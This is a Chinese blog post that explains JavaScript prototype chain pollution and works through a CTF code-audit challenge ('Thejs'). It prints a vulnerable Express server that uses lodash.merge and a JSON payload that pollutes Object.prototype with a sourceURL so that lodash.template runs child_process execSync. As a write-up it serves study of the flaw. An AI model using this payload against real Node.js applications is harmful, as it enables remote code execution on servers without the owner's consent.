zoukankan      html  css  js  c++  java
  • 初探JavaScript原型链污染

    18年p师傅在知识星球出了一些代码审计题目,其中就有一道难度为hard的js题目(Thejs)为原型链污染攻击,而当时我因为太忙了(其实是太菜了,流下了没技术的泪水)并没有认真看过,后续在p师傅写出writeup后也没有去分析,最近在先知看到niexinming师傅出的一道js的原型污染链攻击题目的wp才好似唤醒记忆般去学习了一下....
    0x01:原型和继承
    JavaScript是一门灵活的语言,基于原型实现继承,原型是Javascript的继承的基础。
    它本身不提供一个 class实现。(在 ES2015/ES6 中引入了 class 关键字,但那只是语法糖,JavaScript 仍然是基于原型的)
    在js中,如果我们需要定义一个类,通过定义一个构造函数的方式来进行定义。
    比如:
    function Test() {
        this.test = "test"
    }
    遵循ECMAScript标准,someObject.[[Prototype]] 符号是用于指向 someObject 的原型。从 ECMAScript 6 开始,[[Prototype]] 可以通过 Object.getPrototypeOf()Object.setPrototypeOf() 访问器来访问。这个等同于 JavaScript 的非标准但许多浏览器实现的属性 __proto_
    每个实例对象都有一个私有属性__proto__指向它的构造函数的原型prototype,也就是
    我们可以认为,原型prototype是类的一个属性,而这个属性中的值和方法被每一个由类实例出来的对象所共有,而我们可以通过实例对象test1.__proto__来访问Test类的原型,那么这样就出现了一个问题,假如我们可以控制实例对象的__proto__属性,则等于可以修改该类所有实例对象的__proto__属性。
    0x02:原型链污染
    我们来看这一段代码,原本test1实例对象中是没有b属性的,但在我给test2做了私有属性__proto__赋值以后(test2.__proto__指向Test的原型prototype),test1.b有值了
    这是因为:对于对象test1,在调用test1.b的时候,实际上JavaScript引擎会进行如下操作:
    1.在对象test1中寻找b
    2.找不到,在test1.__proto__中寻找b(这里的test1.__proto__同样指向Test的原型prototype
    3.如果仍然找不到,则继续在test1.__proto__.__proto__中寻找b
    4.依次寻找,直到找到null结束。比如,Object.prototype的__proto__就是null
    那么在Javascript中,我们何时可以控制实例对象的__proto__来污染原型链呢,只要找到可以控制数组(对象)的键名的位置即可,比如
    1.对象clone
    2.对象merge
    以merge举例,要使__proto__作为key被赋值,还需要一个条件为传递的参数需要是以json来做解析,否则__proto__会被当作原型而不是一个key,故也就无法成功污染
    直接拿p师傅的代码举例:
    直接赋值,污染原型链失败:
    使用Json.parse,污染成功
    0x03:Thejs分析
    关键代码很少,关键部分主要是:
    const app = express()
    app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
    app.use('/static', express.static('static'))
    app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
    }))
    app.engine('ejs', function (filePath, options, callback) { // define the template engine
    fs.readFile(filePath, (err, content) => {
    if (err) return callback(new Error(err))
    let compiled = lodash.template(content)
    let rendered = compiled({...options})
     
    return callback(null, rendered)
    })
    })
    app.set('views', './views')
    app.set('view engine', 'ejs')
     
    app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
    data = lodash.merge(data, req.body)
    req.session.data = data
    }
     
    res.render('index', {
    language: data.language,
    category: data.category
    })
    })
    而lodash.merge也就是触发原型链攻击的地方
    先放p师傅的payload:
    {"__proto__":{"sourceURL":"
    return e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}
    //"}}
    我们在data = lodash.merge(data, req.body)处下断点,单步结束后可以看到
    类型为Object的data对象中的__proto__属性中已经存在sourceURL属性
    为什么赋值一个sourceURL属性呢,该属性反应在lodash.template中
    javascript中的代码执行可以通过eval和new Function, 这里的Funticon的sourceURL参数来源于
    而options.sourceURL值原本是没有被赋值的,所以我们可以通过原型链污染给所有的Object对象插入一个sourceURL属性再拼接到new Function第二个参数中造成代码执行。
    我们在前面说过使用merge原型链污染需要json方式取值,而express默认通过body-parser解析请求体,所以直接将请求包的Content-Type改成application/json即可。
  • 相关阅读:
    tp5更改入口文件到根目录的方法分享
    Linux安装JBOSS
    JBOSS和WebLogic区别
    面向对象编程的思维方式
    Struts+Spring+Hibernate整合入门详解
    DB2 UDB V8.1 管理
    oracle与DB2的一些架构
    oracle和DB2的差异
    JDK和JRE的区别
    Linux安装weblogic
  • 原文地址:https://www.cnblogs.com/escape-w/p/12347705.html
Copyright © 2011-2022 走看看